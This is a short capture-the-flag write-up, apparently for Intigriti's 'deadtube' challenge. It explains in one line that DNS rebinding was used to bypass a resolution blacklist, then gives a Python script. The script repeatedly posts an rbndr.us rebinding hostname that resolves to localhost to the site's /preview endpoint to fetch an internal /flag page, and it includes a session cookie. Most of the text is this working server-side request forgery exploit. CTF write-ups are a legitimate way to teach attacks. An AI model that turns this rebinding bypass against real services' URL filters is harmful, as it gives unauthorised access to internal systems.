i solved this challenge using dns rebinding to bypass the dns resolution blacklisting
```
import requests

headers = {
'authority': 'deadtube.ctf.intigriti.io',
'pragma': 'no-cache',
'cache-control': 'no-cache',
'sec-ch-ua': '" Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"',
'sec-ch-ua-mobile': '?0',
'upgrade-insecure-requests': '1',
'origin': 'https://deadtube.ctf.intigriti.io',
'content-type': 'application/x-www-form-urlencoded',
'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36',
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'navigate',
'sec-fetch-user': '?1',
'sec-fetch-dest': 'document',
'referer': 'https://deadtube.ctf.intigriti.io/',
'accept-language': 'fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7',
'cookie': 'INGRESSCOOKIE=1647036962.74.5231.318044|13f1eb5feb6802f249588f40c454cb40',
}

for i in range(10):
data = {
'link': 'http://7f000001.8efac904.rbndr.us:8080/flag'
}

response = requests.post('https://deadtube.ctf.intigriti.io/preview', headers=headers, data=data)
print(f"[{len(response.text)}] {response.text}")
```